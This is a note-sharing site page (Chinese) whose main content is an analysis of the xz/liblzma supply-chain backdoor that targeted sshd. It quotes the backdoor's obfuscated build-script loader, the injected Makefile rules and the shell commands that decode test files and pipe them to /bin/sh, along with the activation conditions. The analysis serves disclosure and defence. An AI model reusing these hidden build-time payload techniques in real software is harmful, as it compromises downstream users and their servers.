墨穗app.notebase.cn
控制台
内容库
动态
管理
账户
U
用户
--
在线
v1.0.165 · 墨穗笔记
笔记

Notebase墨穗
静水流深,落墨成穗。

0笔记
0工具
30推荐

分类导航

按主题直达

编辑精选

站内用户贡献 · 真实笔记

最新收录

每日更新
继续浏览全部内容 →

笔记

0
加载中...

工具

0

此页用于记录用户反馈问题后的每一次改进

关于

笔记用法

“写笔记”支持四种格式——Word 文档、Excel 表格、Markdown、纯文本,起稿或二次编辑时都能随时切换,同一篇笔记想用哪种形态来记,都由你说了算。

md、txt、csv、json 这类纯文本则原样载入,不做多余加工。拿一张现成的表倒进来、改几笔、再导出去,等于白用一台免费的格式转换器。

要带走就在右上角点“下载”,可导出 PDF、Word、Markdown、Excel、TXT 等格式;列表卡片“⋯”菜单里,也有同样的下载入口。

工具用法

在“工具”页点“+ 上传工具”即可发布:填好名称与链接,再用 Markdown 把使用方法写清楚——能解决什么问题、怎么装、怎么用,比堆介绍实在。

要分发安装包就一并上传压缩包(ZIP、RAR、7Z、TAR.GZ,最大 35MB),别人在详情页一键下载;只放链接不带附件也可以。

工具按大家的收藏热度排序,好用的自然会被顶上来。发布后可在详情页或卡片菜单里编辑、下架。

隐藏笔记

写笔记时勾上“隐藏”,这篇就只存在于你自己的账号里:不进列表、不进搜索、不上首页精选,也不会出现在任何公开的页面,链接发给别人同样打不开。

适合放密码、草稿、日记这类只给自己看的内容;想公开,去“发布”打开它,把“隐藏”的勾去掉再保存,之后编辑会默认保持原状态,不会悄悄变回公开。

不想公开、只想临时给人看:点“分享”生成一条带密码和有效期的链接,到期自动失效,你也能随时撤销。

数据安全

你的内容会同时保存在多个副本上,系统定期做备份与完整性校验,再配合异地容灾机制:就算某台机器出问题,数据也不会丢,可以长期放心存放;特别重要的资料,仍建议你另外再留一份备份。

技术

全站跑在容器化、模块化的现代架构上,更新、部署、回滚都很快,扩展性和稳定性都按长期运营的标准来设计(Built for reliability, designed to scale)。

理念

这个网站最早只是一个人的笔记仓库,后来慢慢长成现在的知识中枢。设计上很克制——没有广告、没有追踪、没有推荐算法,只是干干净净地存放一些东西;既然做好了,就公开出来,万一有人用得上呢。

原则

不做大而全,不做平台梦,保持简单、保持克制、保持好奇。所有内容都由用户贡献、由用户维护:不会突然冒出付费墙,不会在角落塞广告位,也不会把你的数据卖给第三方。

更多

产品会持续迭代,站内日志页记录着每一次改动,改了什么都有迹可循;想了解这个站是怎么一步步走到今天的,翻翻日志就能看到来龙去脉。

举报

如果在这里看到涉嫌违规的内容,点对应卡片右侧的“举报”按钮就能提交,我们会尽快核实处理;也谢谢你花一点时间,一起把这里维护干净。

趋势

// 点击导航加载发现
归档
// 归档为空
最近浏览
// 暂无浏览记录
发布
// 加载中...
用户发布
// 加载中...
用户管理
// 加载中...
访问统计
// 加载中...
内容审核
// 加载中...
个人信息
// 加载中...
返回首页

xz/liblzma 上游供应链后门事件深度分析:SSH 服务器被植入恶意代码

2026-08-29网络安全

上游 xz/liblzma 仓库及发布包被植入后门,影响 SSH 服务器,引发供应链安全危机。

事件概述

2024 年 3 月 29 日,Andres Freund 在 oss-security 邮件列表上披露了一个震惊安全界的发现:用于数据压缩的 xz/liblzma 库的上游仓库和发布 tarball 被植入了后门,该后门专门针对 SSH 服务器(sshd)进行攻击。这一事件迅速成为 Hacker News 热门话题,获得 4549 分和 1849 条评论。

发现过程

Andres Freund 在 Debian sid 安装环境中观察到几个异常症状:

  • SSH 登录消耗大量 CPU 资源
  • valgrind(内存调试工具)报告错误

这些症状持续数周后,他最终定位到问题根源:上游 xz 仓库和 tarball 已被植入后门。起初他怀疑是 Debian 包被篡改,但最终确认是上游代码遭到恶意修改。

后门植入方式

1. 发布 tarball 中的恶意脚本

后门的一部分仅存在于发布的 tarball 中(版本 5.6.0 和 5.6.1),而 GitHub 上的源码仓库(直接由仓库内容生成)中并不包含。关键恶意代码位于 m4/build-to-host.m4 文件中的一行:

m4

该行在 git 仓库中不存在,但存在于发布的 tarball 中

该脚本在 configure 执行结束时被注入并运行。脚本经过高度混淆,其数据来自仓库中的 "test" .xz 文件。

2. 混淆脚本的工作流程

脚本执行后,会修改 $builddir/src/liblzma/Makefile,添加恶意规则:

makefile
am__test = bad-3-corrupt_lzma2.xz
am__test_dir = $(top_srcdir)/tests/files/$(am__test)
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

最终执行命令为:

bash
sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " -_" " _-" | xz -d | /bin/bash >/dev/null 2>&1

去掉 | bash 后,实际执行的混淆代码为:

bash
####Hello####
#��Z�.hj�
eval grep ^srcdir= config.status
if test -f ../../config.status;then eval grep ^srcdir= ../../config.status; srcdir="../../$srcdir"; fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ..."
(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

这段代码通过一系列 head/tail 操作从 good-large_compressed.lzma 中提取隐藏数据,经过字符替换和二次解压后,交给 /bin/sh 执行。最终解出的恶意代码(injected.txt)被附加在邮件中。

3. 仓库中的恶意文件

包含主要漏洞利用代码的文件以混淆形式提交在 tests/files/ 目录下:

  • bad-3-corrupt_lzma2.xz
  • good-large_compressed.lzma

这些文件在 5.6.0 版本中并未用于任何测试,首次出现于 commit cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0。

漏洞利用代码的调整与修复尝试

由于注入代码与预期堆栈布局不符,在某些配置下会导致 valgrind 错误和崩溃。攻击者在 5.6.1 版本中尝试修复这些问题,并同步调整了漏洞利用代码:

  • 修复提交:
    • e5faaebbcf02ea880cfc56edc702d4f7298788ad
    • 72d2933bfae514e0dbb123488e9f1eb7cf64175f
    • 82ecc538193b380a21622aea02b0ba078e7ade92
  • 漏洞代码调整:
    • 6e636819e8f070330d835fce46289a3ff72a7b89

这种持续数周的活跃修改表明,提交者要么直接参与攻击,要么其系统遭到严重入侵。鉴于提交者在各种邮件列表中讨论上述“修复”,后者可能性较低。

受影响系统与攻击条件

去混淆后的脚本在 configure 后首先检查是否满足特定条件,只有满足所有条件才会注入恶意代码:

  1. 目标架构:仅针对 x86-64 Linux
    bash
    if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1); then

  2. 编译器:必须使用 gcc 和 GNU 链接器
    bash
    if test "x$GCC" != 'xyes' > /dev/null 2>&1; then exit 0; fi
    if test "x$CC" != 'xgcc' > /dev/null 2>&1; then exit 0; fi
    LDv=$LD" -v"
    if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1; then exit 0; fi

  3. 构建环境:必须是 Debian 或 RPM 包构建
    bash
    if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64"; then

    这一条件尤其旨在增加调查者的复现难度。

  4. 系统库:由于注入代码的工作方式,后门只能影响基于 glibc 的系统。

幸运的是,xz 5.6.0 和 5.6.1 尚未被多数 Linux 发行版广泛集成,即便集成也多在预发布版本中。

对 OpenSSH 服务器的实际影响

安装了带后门的 liblzma 后,SSH 登录变得明显缓慢。Andres Freund 的测试数据:

之前(未受影响):

real 0m0.299s
user 0m0.202s
sys 0m0.006s

之后(受影响):

real 0m0.807s
user 0m0.202s
sys 0m0.006s

OpenSSH 并不直接使用 liblzma,但 Debian 和其他发行版会打补丁使其支持 systemd 通知,而 libsystemd 依赖 lzma。

有趣的是,在 systemd 之外启动 sshd 时,并未观察到性能下降,尽管后门代码确实被短暂调用。这可能是攻击者故意设计的反分析措施。

漏洞利用的触发条件

观察到的漏洞利用必要条件:

  • a) 未设置 TERM 环境变量
  • b) argv[0] 必须是 /usr/sbin/sshd
  • c) 未设置 LD_DEBUG、LD_PROFILE
  • d) 必须设置 LANG
  • e) 检测到某些调试环境(如 rr),gdb 在某些情况下会被检测到

在 systemd 外复现:
bash
env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D

实际上,无需启动 sshd 服务器,仅执行帮助命令即可观察到性能下降:
bash
env -i LANG=C /usr/sbin/sshd -h

(大约需要 0.5 秒)

技术分析

Florian Weimer 首先提取了隔离的注入代码(liblzma_la-crc64-fast.o),而 Andres Freund 最初只观察了整个二进制文件。

后门的工作原理是:通过修改 liblzma 的 Makefile,在构建过程中将恶意对象文件链接到 liblzma 库中。当 sshd 通过 libsystemd 间接调用 liblzma 时,恶意代码得以执行,可能实现远程代码执行、权限提升或凭据窃取等攻击。

供应链安全警示

这一事件再次凸显了供应链安全的脆弱性。一个被广泛使用的压缩库,通过精心构造的 tarball 和混淆代码,就能威胁到全球 SSH 服务器的安全。攻击者展现了高超的技术能力:

  • 混淆代码嵌入 .xz 测试文件
  • 仅在特定构建条件下激活
  • 针对特定架构和发行版
  • 规避常见调试工具

建议与应对

  • 立即检查系统是否安装了 xz 5.6.0/5.6.1,并降级到安全版本(如 5.4.x)
  • 验证软件包完整性,关注发行版安全公告
  • 对于开源项目,加强代码审查和 CI/CD 安全
  • 考虑使用软件供应链安全工具(如 SLSA、sigstore)

参考链接

原始 oss-security 邮件

相似推荐
用另一台手机远程帮人弄手机:林林远程控制,安卓被控 + 浏览器/小程序主控安卓补装 Google 三件套:服务框架 + Play 商店,附安装器与步骤VPS节点一键部署+本地订阅转换脚本苹果硬刚英国政府:撤销iCloud高级数据保护,一场加密与主权的全球博弈压迫还是诈骗?AdGuard DNS 对 Archive.today 投诉事件的深度调查谷歌 GDPR 合规漏洞:Brave 揭露实时竞价广告系统的隐私数据广播机制
编写使用方法
Markdown 格式 · Ctrl+Enter 确定
0 字新建笔记
欢迎回来
登录你的墨穗笔记账户
忘记密码?
还没有账户?立即注册
创建账户
注册你的专属墨穗笔记
已有账户?去登录
找回密码
输入注册邮箱获取验证码
返回登录
请输入图片中的验证码以继续注册
加载中...
取消
新建收藏
手动添加你喜欢的内容
取消
编辑头像与昵称
上传新头像或修改你的显示昵称
支持 JPG/PNG,最大 2MB
取消

问题反馈

隐私提醒

取消
编辑工具
受控分享
为这篇笔记生成限时 / 带密码的临时链接
关闭